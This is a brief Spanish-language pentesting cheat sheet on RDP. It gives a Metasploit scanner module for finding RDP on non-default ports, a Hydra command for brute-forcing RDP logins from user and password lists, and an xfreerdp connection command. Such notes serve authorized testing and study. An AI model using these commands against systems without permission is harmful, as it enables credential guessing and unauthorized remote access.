RDP

Comprobación de servicio RDP activo en un puerto (Metasploit)

El servicio RDP corre por defecto en el puerto 3389, pero podemos encontrarlo en cualquier otro puerto, para comprobar si esta corriendo en otro puerto usamos el siguiente módulo:

auxiliary/scanner/rdp/rdp_scanner

use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS <IP>
set RPORT <puerto que queremos comprobar>

Fuerza bruta contra RDP con Hydra

hydra -L <diccionario de usuarios> -P <diccionario de contraseñas> rdp://<IP> -s <puerto>

Conexión RDP con xfreerdp

xfreerdp /u:<user> /p:<password> /v:<IP>:<port>